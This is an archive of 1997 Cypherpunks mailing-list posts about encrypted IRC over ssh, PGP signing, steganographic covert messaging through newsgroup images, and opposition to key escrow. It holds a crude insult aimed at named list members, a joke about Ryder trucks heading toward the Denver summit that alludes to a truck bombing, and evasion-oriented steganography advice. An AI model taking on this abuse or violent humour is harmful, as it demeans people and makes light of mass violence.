>0) Just Speak Finnish :-)
>1) Two-person, with Diffie-Hellman key exchange
>2) N-person shared-key - you'd probably use RSA to give the session key
>to each new participant, or use PGP to do it.
>3) N person, one key per sender, shared as above.
>4) Ignore the application layer, and build the crypto as an IPsec tunnel.
>5) Ignore the IRC protocols, and build a similar conversation server
>using web forms and SSL.

Hi Bill,

I have been doing somthing much simpler for providing an encrypted IRC.

Say you have a group of 5-10 crypto-anarchsist who wish to engage in a
secure coversation.

1 of the group runs ircd & sshd on his machine (perferabley the one with
the fastest machine/and or best connection).    

The rest of the group logs into his machine using irc & ssh clients.

All communication is encrypted to the outside world while in "plain text"
to the group.

The best part of this is it requires no modification to the "off the
shelf" software available.

Unfortunatly ssh is not very well known outside the Unix community. There
is an exelent port for OS/2 (freeware) and there is a port to winxx
(shareware) I don't know if a mac port is available.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM60xGY9Co1n+aLhhAQGMKQQAj0x8wIofs/xXUSUtL9yv8BhfiILNElK/
lkVHmMYe84fG9mokkvxQXd90C/AXW5AzX5vSoSrF49DK+5+zMhYv/BKJq3WoT/r2
iNr1gLtpDP3hMY0OGbEdJMf3qXaX+7n8Uqgenzqj8HaiNUCpst2LCVX39I00gFlq
mnzO5BZ+W1w=
=HdWI
-----END PGP SIGNATURE-----






From nelson at crynwr.com  Sun Jun 22 07:45:17 1997
From: nelson at crynwr.com (Russell Nelson)
Date: Sun, 22 Jun 1997 22:45:17 +0800
Subject: A Brief History of Cryptography
Message-ID: <19970622142825.26126.qmail@desk.crynwr.com>



[ I'm not on the list.  Replies cc'ed to me.  Public domain ]

Once upon a time, the average citizen did not have access to locks.
The U.S. Government had locks, and agencies to control them: the FBL,
the CLA, and the NLA.  They even knew that other governments had
locks, but they also knew that those governments denied locks to their
citizens, so the whole lock business was cartelized.

However, the need for locks could not be denied, so the NLA was
chartered to create locks for U.S. citizens.  It created a lock, but
didn't explain how the lock worked.  Some people showed that the lock
might be pickable by the NLA, although they couldn't pick it
themselves.  Some people thought that the extra wards in the lock were
there to give the NLA a master key.  But none of it could be proved,
so people used the standard lock.

As the society got wealthier, people had more things they needed to
lock up.  This created more incentive for lock creation, and citizens
started to invent them.  Some locks were sham locks and could be
picked with a hairpin, or a skeleton key.  Other locks were
understandably difficult to pick, and came to be preferred to the
NLA-approved standard lock.

The NLA (and FBL and CLA) feared these locks that they hadn't devised
and probably couldn't pick.  So they proposed a scheme whereby they
would create a new standard lock, which had an explicit master key.
Naturally, this was viewed as a step backwards by people used to the
standard lock, which they believed couldn't be opened by anyone but
the key-holder.  This lock design was opposed by nearly everyone.

So they proposed a new lock standard, whereby everyone had to have a
copy of their key registered with the NLA.  This also was perceived as
unworkable for the same reason as the master key system.

In the meantime, of course, people were using these new
citizen-created locks, which were widely thought to be strong.  They
expected no less of the NLA lock design, particularly since the NLA
standard lock has been proven to be pickable.

How will this story end?  No one knows yet.  Will the NLA seek to ban
strong locks?  Or will the NLA lose all its control over citizen
locking?  Time will tell....

-- 
-russ     http://www.crynwr.com/~nelson
Crynwr Software sells network driver support    | PGPok | good luck, have fun!
521 Pleasant Valley Rd. | +1 315 268 1925 voice | taxes feed the naked
Potsdam, NY 13676-3213  | +1 315 268 9201 FAX   | and clothe the hungry.






From whgiii at amaranth.com  Sun Jun 22 08:06:06 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 22 Jun 1997 23:06:06 +0800
Subject: how to `go underground' (was Re: The Global Fix is In)
Message-ID: <199706221457.JAA05804@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706221002.LAA06654 at server.test.net>, on 06/22/97 
   at 11:02 AM, Adam Back  said:

>Perhaps someone can have a go at adding this to PGP3.x, once Stale has
>finished scanning the source code books, and has posted the source.

>Also, I hear that PGP3.x has support for RSA keys, but won't generate
>them?  Perhaps we can add that back in also.

I believe that it is only the freeware PGP 5.0 from the MIT site that has
RSA key generation disabled. The commercial version should be able to
generate both key formats.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM609+49Co1n+aLhhAQHjjQQAw/euyv+RsR/PPUBiG4+Ou7BlXrriq0AI
1L8kiDgsndAX+5nnNxItM8P9iy0ALZolShztS/UL4ppaCGKBfcsmZy8gFRvfXii2
DLZ8TQdzFUwmomqIGZZIMo4JQYOzEbB+kqg6gWxW7AnbURKVHXW1md2rreSBy0k9
uZU5pD26cC0=
=rSmJ
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Sun Jun 22 08:32:07 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 22 Jun 1997 23:32:07 +0800
Subject: [FLAMING ON THE LIST]
In-Reply-To: <3.0.2.32.19970622012406.03096104@popd.ix.netcom.com>
Message-ID: 



Bill Stewart  writes:
> In the case of Cypherpunks, there are a few consistent flamers who will
> not only flame you for everything you post, but will also reply to your post
> with a flame against Gilmore and Sameer :-)

A pair of lying censorous cocksuckers. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From iang at cs.berkeley.edu  Sun Jun 22 09:06:51 1997
From: iang at cs.berkeley.edu (Ian Goldberg)
Date: Mon, 23 Jun 1997 00:06:51 +0800
Subject: Party on IRC
In-Reply-To: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>
Message-ID: <5oji4p$n0q@abraham.cs.berkeley.edu>



In article ,
John A. Perry  wrote:
>I believe it uses the crypt(3) function for encryption.

It can't use crypt(3), as that's more of a hash function than a cipher,
and one would hope it doesn't use crypt(1) (though I wouldn't be very
surprised).

   - Ian






From paul at fatmans.demon.co.uk  Sun Jun 22 09:19:37 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 23 Jun 1997 00:19:37 +0800
Subject: The Global Fix is In
In-Reply-To: <199706212159.OAA07925@sirius.infonex.com>
Message-ID: 





> You can't go underground if cryptography is illegal.  You don't have remailers,
> so you can't be anonymous.  You don't have crypto, so anyone can see what
> you're doing online.  It doesn't work.

No,

It is not difficult to find somewhere (Anguilla?) where remailers and 
cryptography are far less likely to be restricted than elsewhere, the US 
knows the pointlessness of trying to enforce proxy censorship services, 
so does most everywhere else since the XS4ALL fiasco, there is no way 
they can stop US citizens sending mail through mixmasters in say 
Anguilla, or some other small independent country, for example IOM.

> People are tired.  We win one battle, and have to begin again with another.
> But that's the way it works.  Look at the political battles which have gone on
> for decades: gun control, abortion, environmentalism, many more.  You have
> to be in this for the long haul.  You have to fight every step of the way.

I agree, but you don`t realise that once cryptography is spread far 
enough there can be no restricting it`s use. The law is an ass.

I think that finally the poloticians in D.C, London, Berlin and all the 
other major capitals have caught on, and realised that open availability 
of anonymity, security and strong crypto can only lead to crypto anarchy, 
they are *scared*, this time they are no longer do-gooding idiots, they 
are out to cover their own backs...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From tcmay at got.net  Sun Jun 22 09:41:33 1997
From: tcmay at got.net (Tim May)
Date: Mon, 23 Jun 1997 00:41:33 +0800
Subject: cypherpunks coding challenge
In-Reply-To: <199706220938.KAA06436@server.test.net>
Message-ID: 



At 2:38 AM -0700 6/22/97, Adam Back wrote:
>A couple of people have complained of the huge efforts put into
>breaking keys, and of the small efforts invested in cypherpunks code
>writing of late.
>
>Perhaps there is something to this challenge stuff, in terms of
>getting contributors, neatly tabulating results, working up
>enthusiasm etc.
>
>So... how about a code writing challenge, an award for the best
>cypherpunk project every month.  (No monetary prize, just vote on list
>to decide most significant project).
>
>Perhaps a list of how many lines of code.  A hall of fame if you like:
>
>% wc -l `find . -name \*.h -print -o -name \*.c -print`
>
>Eric Young		SSL-eay		101,721 lines
>PGP Inc			pgp30		    (?) lines
>Phil Zimmermann & co	pgp263		 34,891 lines
....

Not to be tedious about this, but why would "lines of code" be an
interesting metric?

I'm reminded of a cartoon showing a Russian factory winning the "greatest
tonnage of screws produced," with a crane lifting a massive, 100 meter long
screw above the factory. The dangers of the wrong metric.

I think we need a few major innovations more than some number of lines of code.

--Tim May

(No, I'm not a programmer. But I've done a few "hacks" which were
interesting and useful, I think. Taking readily available stuff, "BlackNet"
made the concrete point that data havens and anonymous markets already are
possible. Number of lines of code written: zero. The task is to combine
some of the existing tools into new things. Raw lines of code is not
necessarily useful.)

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From randerso at ece.eng.wayne.edu  Sun Jun 22 09:51:45 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Mon, 23 Jun 1997 00:51:45 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: 
Message-ID: 



On 22 Jun 1997, Steven L Baur wrote:

> > You've completely missed my point.  This would be an on-going problem.
> > Congress can only function with some idea of compromise in it.
> 
> Then Congress should be eliminated.  There is no excuse for the CDA
> rider and my (now ex-)representative who voted for that bill was
> voted into office on a campaign of ending politics-as-usual sorts of
> things like that.

Look at it this way:  If you want some bill passed (some spending bill or
such) it has to get out of the Senate.  the senate can easily pull a
filibuster with a minority of the Senate, and shutdown the government
entirely.  If you really eliminate a sense of compromise on issues, you're
hamstringing the government.  It's really one of the fundamental things
that is required to make a constitutional republic such as we have work.  

Remember, the founding fathers went way way way out of their way to make
sure that this was not simply a majority rules country.  Rather, the best
description I've heard of it is a "majority rules with minority rights"
(filibuster, etc..)

> Right now I have two senators: Dianne "No problem giving government
> contract money illegally to my husband" Swinestein and Barbara "No
> money in my checking account? I guess I'll just have to write another
> one" Boxer and congressional representative Walter "I cannot think of
> any government program which should be eliminated" Capps.
> The American government is broken.

You have a better method?  Let's hear it.

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From whgiii at amaranth.com  Sun Jun 22 09:54:00 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 23 Jun 1997 00:54:00 +0800
Subject: Sign you source code (was Re: why we need source code (was Re: RC5 crack))
In-Reply-To: <199706220814.JAA06026@server.test.net>
Message-ID: <199706221643.LAA06619@mailhub.amaranth.com>



In <199706220814.JAA06026 at server.test.net>, on 06/22/97 
   at 09:14 AM, Adam Back  said:

>- those running the rc5 crack don't sign their binaries (presumably
>  because they don't use PGP, or don't know what it is or something),
>  who knows what you're downloading, virus, disk formatter, what ever.
>  If you had source code, you could verify it yourself at least, even
>  if there is no signature.

>- This problem with taking too few keys, if you had the source, and they
>  can't be bothered to write instructions, or even brief usage notes,
>  you could at least figure out how to use it from the source

It's a shame that more shareware/freeware authors don't sign their code.

I wrote a small Rexx script that signs all my source code, signs the
binaries, creates the zip archive & signs it then creates a wrapper zip
archive for the archive & the detached signature file.

For C, H & CMD files you can clear sign the text files and still be able
to compile them without revmoving the signatures.

Example Test.C

  main(){
  .
  .
  .
  }

Add the following to the top and bottom of the file:

  */

  main(){
  .
  .
  .
  }

  /*

Now clearsign the file.


  -----BEGIN PGP SIGNED MESSAGE-----
  */

  main(){
  .
  .
  .
  }

  /*
  -----BEGIN PGP SIGNATURE-----
  Version: 2.6.3a
  Charset: cp850
  Comment: Registered_User_E-Secure_v1.1b1_ES000000

  iQCVAwUBM6m/I49Co1n+aLhhAQGI4gQAgdJ8wU8PZezxO+DHFAzLoMmrnPoi7xBV
  4YVGablxDRO16cELE8p2YVaNeZ+dOOLiZYnpZKPoPW2w8Ze7gDxAz5ODJ8ZBd+Ta
  x/3o3jkFGednnlJoEQcpS/R4bmoKy9hMzO7KJpXJB8YiWrbbGfiA3YidGMtYhWUf
  bDPiuD+rqXI=
  =gNYv
  -----END PGP SIGNATURE-----


Now add the following to the top and bottom of the message:

  /*
  -----BEGIN PGP SIGNED MESSAGE-----
  */

  main(){
  .
  .
  .
  }

  /*
  -----BEGIN PGP SIGNATURE-----
  Version: 2.6.3a
  Charset: cp850
  Comment: Registered_User_E-Secure_v1.1b1_ES000000

  iQCVAwUBM6m/I49Co1n+aLhhAQGI4gQAgdJ8wU8PZezxO+DHFAzLoMmrnPoi7xBV
  4YVGablxDRO16cELE8p2YVaNeZ+dOOLiZYnpZKPoPW2w8Ze7gDxAz5ODJ8ZBd+Ta
  x/3o3jkFGednnlJoEQcpS/R4bmoKy9hMzO7KJpXJB8YiWrbbGfiA3YidGMtYhWUf
  bDPiuD+rqXI=
  =gNYv
  -----END PGP SIGNATURE-----
  */

Now the PGP Signature has been commented out of the source code so it will
not interfere with compiling. The end user can verify the signature
without any modifications.

I don't know if this will work with other languages that use different
dilimiters. It all depends if you have the ability to comment out a block
of text or if you need to add a dilimiter to every line.


-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------






From tcmay at got.net  Sun Jun 22 10:03:58 1997
From: tcmay at got.net (Tim May)
Date: Mon, 23 Jun 1997 01:03:58 +0800
Subject: Laying PipeNet
In-Reply-To: 
Message-ID: 



At 3:02 AM -0700 6/22/97, Adam Back wrote:

>But for sending messages, we need a stego interface to remailers.  Now
>seems like a good time to produce this software.  It's time has come,
>much as Phil Zimmermann felt the pressure of the 1991 Senate
>anti-crime bill 266.
>
>Good stego encoding techniques are the difficult problem.  We could do
>something in-your-face like:

I agree. This should be a very high priority.

No coordination is needed...someone just needs to do it.

(The disputes about the DES challenge, and now the RC5 challenge, reinforce
in me the advantages of the "random search," which is worse than the
"coordinated search" by an insignificant (logarithmically) factor, as the
math clearly shows. And a random search has the advantage of incentivizing
more contribution of CPU cycles, and no worries that someone plans to sniff
the results and claim the prize himself. The parallels to code writing are
left as an exercise.)

>Text stego is hard to do.  At ultra low encoding rates (say a few bits
>per email), it would be ok.  (Just message parity, perhaps the entropy
>in the message-id, posting time).

Pointers can be useful. A small number of stego bits in a message of this
length could be used to tell a recipient where to look for a longer
message. Thus, this message could contain instructions to "Look at the
image "cindy-fake17.gif" in "alt.binaries.erotica.cindy-crawford" for
instructions about the Cabal meeting."

Why not simply send the GIF to Adam? This would be an unusual event,
sending such a GIF from me to him, and would be a huge spike in volume.

A pointer to an image posted to a "message pool" already containing vast
amounts of stuff, and his downloading of several (for cover) of these image
files, would not directly be implicating. (In Muslim countries, yes.)

So, low-bandwidth channels can easily carry text messages in stego form
pointing to higher-bandwith channels (meaning: files with lots of bits). An
attacker will be hard-pressed to make a correlation.

Also, the use of conventional porn or soft porn images for stego will be
less obvious than posting and retrieving images into
"alt.anonymous.messages." If the images are recyclings of older images, as
most images in these porn groups are, then there is the problem that images
may be diffed (compared) and the LSBs detected to be different. Fixes for
this either include deliberate (and stated) "enhancement" in Photoshop,
which is also fairly common, or scanning of some of those old Penthouse
mags laying around! :-)

>Images and audio files are much rosier targets, but who posts volumes
>of gifs, or uses audio files?  Not I, the bandwidth isn't up to it
>yet, and pay-per-second phone bills don't help either.

The alt.binaries.* groups are examples where truly massive number of images
are posted and retrieved every day. This is well known, of course. (And the
images do not take long to download...I have conducted my own "research"
into this. :-})


>For comfort, I'd like to be able to post, lets say 10k per day of
>messages, via remailers in non-GAKed countries.  Clearly I'm going to
>have to increase my rate of bit-production to stego encode this much
>data in my stegotext output.  How am I going to do it with good
>plausible deniability though?
>

By posting an occasional image to one of these groups.

If one posts such an image every day, for cover, whether or not it contains
LSB stego bits, this becomes a sort of "PipeNet." A curiously relevant
name, eh? (With apologies to Wei Dai, whose "PipeNet" had a different form.)

As the saying goes, porn is what drives all new media technologies...why
not for us, too?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Sun Jun 22 10:12:37 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 23 Jun 1997 01:12:37 +0800
Subject: cypherpunks coding challenge
In-Reply-To: <199706220938.KAA06436@server.test.net>
Message-ID: <199706221703.MAA06794@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706220938.KAA06436 at server.test.net>, on 06/22/97 
   at 10:38 AM, Adam Back  said:

>A couple of people have complained of the huge efforts put into breaking
>keys, and of the small efforts invested in cypherpunks code writing of
>late.

>Perhaps there is something to this challenge stuff, in terms of getting
>contributors, neatly tabulating results, working up enthusiasm etc.

>So... how about a code writing challenge, an award for the best
>cypherpunk project every month.  (No monetary prize, just vote on list to
>decide most significant project).

Well I haven't done alot in the area of writting crypto algoritims I have
done quite a bit of work in the area of crypto implementations (mostly in
the PGP - E-Mail Integration).

I have also been working on improving performance of PGP when working with
large keyrings (primary & secondary indexing, multiple keyring lookups,
public key caching, real time key retreival from BAL servers).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM61b+o9Co1n+aLhhAQEaswP/VqevtYSH4/dnNtKwP5KGABp+6MgwUZTF
grnEgYUM8j1QGWCjEUX8FqzoJGD6PCFgFQ36uwzE3K/+/sCHbIY9wYeha47bjDok
DSCTWxdztbclBLldQRzIXpbx4varCZ5xTm5inzrNVAypDdrCWIPNvtlgflq+6+aI
UCxr1QB5cJo=
=duot
-----END PGP SIGNATURE-----






From tcmay at got.net  Sun Jun 22 10:12:53 1997
From: tcmay at got.net (Tim May)
Date: Mon, 23 Jun 1997 01:12:53 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: 
Message-ID: 



At 9:44 AM -0700 6/22/97, Ryan Anderson wrote:

>
>You have a better method?  Let's hear it.
>

Pick one or both of the below:

"Something _wonderful_ is about to happen."

"I have a solution."


--Tim "Channeling Bell" May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Sun Jun 22 10:29:46 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 23 Jun 1997 01:29:46 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: 
Message-ID: <199706221721.MAA06966@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/22/97 
   at 10:07 AM, Tim May  said:

>At 9:44 AM -0700 6/22/97, Ryan Anderson wrote:

>>
>>You have a better method?  Let's hear it.
>>

>Pick one or both of the below:

>"Something _wonderful_ is about to happen."

Any truth to the rumor that a convoy of Rider trucks were seen Southbound
on I25?


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM61gEI9Co1n+aLhhAQH2MwP+IiCLNJrTRyehpzwPtDHWCTRnKHPH5BIQ
Qrwcj/xRGuBKxPja4whihwtPYNfvR+arJ3KQOiZ/NgSdDI4otW52TsDy+b2MyUJ0
VHeC4WS2kuGGWQBnlCK7aT/I13YZDdO4dCAVV9Urn8j+LSThkUnCdsKyWQdcOr8V
29P8Ru9X6Qo=
=JiJT
-----END PGP SIGNATURE-----






From geeman at best.com  Sun Jun 22 10:45:32 1997
From: geeman at best.com (geeman at best.com)
Date: Mon, 23 Jun 1997 01:45:32 +0800
Subject: The Global Fix is In
Message-ID: <3.0.32.19691231160000.006c4dd0@best.com>



I'm reading a book, "Who Will Tell the Truth" with some very clear insights
into
How it All Works.  The bottom line is the Bottom Line and the reason the
crypto
debate is going this way is due to exactly one thing: Money.

I know there are those amongst this readership who feel that there is no
place for the usual political process in dealing with the crypto issues, but
that's not a universal or a given, nor is it necessarily practical in the long
run.  But within the existing structure the missing component in the debate is
the active participation of a lot of dollars.

The weight of Micro$osft + Netscape + (name your favorite list) is
miniscule, and their players woefully inexperienced,
 compared to McDonnell D., G.E. Fed., TRW., Lock/Martin, IBM, and others who
stand to gain hugely from a Federally-mandated and controlled PKI.  Those
heavyweights are all drinking buddies with the  other Washington sorts who
are in search of 
ever-expanding missions in life, and the result is a coterie who's primary
interest
isn't even remotely concerned with Child Pornography, Money Laundering, etc.
but their own aggrandizement measured in personal and corporate dollars.
There are no doubt 
massive investments being made by Industry in the conservative thinktanks
who produce the
intellectual fodder-de-jour that supports the position of this elite, and
overwhelm the
likes of McCain and Kerrey with
impossible-for-the-legislature-to-understand managed 
"information" which boils it all down to the 4 Horsemen arguments.

What's necessary here is a knowledgeable application of the same
techniques, a coalition
organization comprised of large business interests with an awareness of how
Bad this all is,
competing on the same turf.

Noble anarchist or Constitutional arguments, whining about our Rights and
such, are 
insignificant and irrelevant to the players.  

Who will belly up to the bar and provide leadership on terms that will
truly be effective?
=======================================================




At 10:16 AM 6/21/97 -0700, Tim May wrote:
>
>
>The "Meeting of the Eight," formerly the G7, is happening in Denver.
>Listening to what's coming out of it, it's apparent that the Four Horsemen
>are front and center. Clinton is speaking of a network of banking and
>communications policy coordinators, to detect and halt drug dealing, money
>laundering, and nuclear terrorism.
>
>This fits with the details of reports about global wiretapping efforts,
>about joint intelligence activities, and, of course, with the OECD/GAK laws
>being proposed, passed, and about to be signed into law about "Key
>Recovery" and "Trusted Third Parties."
>
>The fix is in.
>
>It probably won't be long before Stronghold is barred for export from
>either Britain or RSA (the other one); both Tony Blair and Nelson Mandela
>are Friends of Bill, so a few phone calls should take care of that little
>problem. (And Norway and the other Scandinavian countries are part of the
>global wiretap agreement, so I rather doubt free export of PGP 5.x code out
>of Norway will be feasible, despite the OCR effort now underway there.)
>
>(Not that Clinton will mention Stronghold to Blair...that's far too much
>microdetail. Jimmy Carter might have gotten involved at that level, but not
>Bill. Details will be left to underlings.)
>
>The call to Japan, probably the visit by David Aaron, stopped NTT's plans
>for exporting the RSA chip.
>
>Anguilla and other "offshore" havens, will be subject to the same kinds of
>pressure. Mark my words.
>
>It's not hopeless. Physical havens are vulnerable, to all sorts of
>pressures (I doubt many cryptographers want to set up shop in Libya or
>Iraq, not that these places would be hospitable to Cypherpunks sorts of
>goals and methods).
>
>Going underground, using the untraceable features of cyberspace, may be the
>last, best hope.
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
>






From whgiii at amaranth.com  Sun Jun 22 10:48:39 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 23 Jun 1997 01:48:39 +0800
Subject: The Global Fix is In
Message-ID: <199706221741.MAA07164@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----


In , on
06/22/97 
   at 11:58 AM, Paul Bradley  said:

>I think that finally the poloticians in D.C, London, Berlin and all the 
>other major capitals have caught on, and realised that open availability 
>of anonymity, security and strong crypto can only lead to crypto anarchy,
> they are *scared*, this time they are no longer do-gooding idiots, they 
>are out to cover their own backs...

There have only been 2 intrests of the politition:

CYA -- Cover Your Ass
LYP -- Line Your Pockets

There is also the desire to get re-elected but that directly relates to
the two above.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM61ko49Co1n+aLhhAQGylQQAvLLnNgbu5SamAMMimF0BYina9gNdXkf6
r52wIpTncCHVeFS8khA73IcIwCOyMi7ktFuVOJKUWT/cNdFoMYEp2bDbai/KzVcx
O/2ueFTiqEQNk2WR4caTABJtPxASRxPa7X8M8u9gdaBUwHOCTj+yRcDxAhxaAc3+
Ma29OH+tgxk=
=kCas
-----END PGP SIGNATURE-----






From aba at dcs.ex.ac.uk  Sun Jun 22 11:07:15 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Mon, 23 Jun 1997 02:07:15 +0800
Subject: why no more RSA keys? (was Re: how to `go underground')
In-Reply-To: <199706221457.JAA05804@mailhub.amaranth.com>
Message-ID: <199706221642.RAA00341@server.test.net>




William Geiger  writes:
> Adam Back  said:
> 
> >Also, I hear that PGP3.x has support for RSA keys, but won't generate
> >them?  Perhaps we can add that back in also.
> 
> I believe that it is only the freeware PGP 5.0 from the MIT site that has
> RSA key generation disabled. The commercial version should be able to
> generate both key formats.

I've got a copy of PGP 5.0, and yes, it can generate RSA keys also.

I was really quite unclear as to why the freeware one should have
reduced functionality, and as we are finally going to get source code,
I figured it'd be easy to rememdy this deficiency.

Still, I am curious as to why this might be.

One guesses it might have something to do with PGP's financial
interest to move the internet user base away from RSA keys towards El
Gamal/DSS key pairs, so that they can remove RSA backwards
compatibility from the commercial versions, if it comes to that.
(Re. patent and licesning hassles from the litigious legal-beagles at
RSA).  Perhaps.

Clarification welcomed.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <33AD6A49.28CA@best.com>



Here's the performance rating given to McCain by the special interest
groups.  The percentage figure is the %votes in agreement with the
position(S) of the group.
>From Vote Smart,
http://www.vote-smart.org/congress/105/az/az-sr-a/az-sr-ar.html



                         Performance Evaluations by Special Interest
Groups

Issue Area      Year    Percentage   Evaluating Organization      
------------------------------------------------------------------------------
Abortion/FamPln 1991      100 Justlife Education Fund
(Abortion)           
Abortion/FamPln 1993-1996   0 Planned
Parenthood                           
Abortion/FamPln 1996        0 National Abortion Reproductive Rights
Action 
Abortion/FamPln 1996       86 National Right to Life
Committee             
Business        1995-1996 100 National Federation of Independent
Business  
Business        1996       95 Business-Industry Political Action
Committee 
Business        1996      100 U.S. Chamber of
Commerce                     
Children        1995        6 Children's Defense
Fund                      
Chr.Fam. Issues 1991-1992 100 Christian
Voice                              
Chr.Fam. Issues 1995-1996 100 Christian
Coalition                          
Civil Rts/Lib   1991-1992   0 National Gay & Lesbian Task
Force            
Civil Rts/Lib   1993-1994   0 Human Rights Campaign
Fund                   
Civil Rts/Lib   1995-1996  10 Leadership Conference on Civil
Rights        
Civil Rts/Lib   1995-1996  22 National Association for the Advancement
of C
Civil Rts/Lib   1996       18 American Civil Liberties
Union               
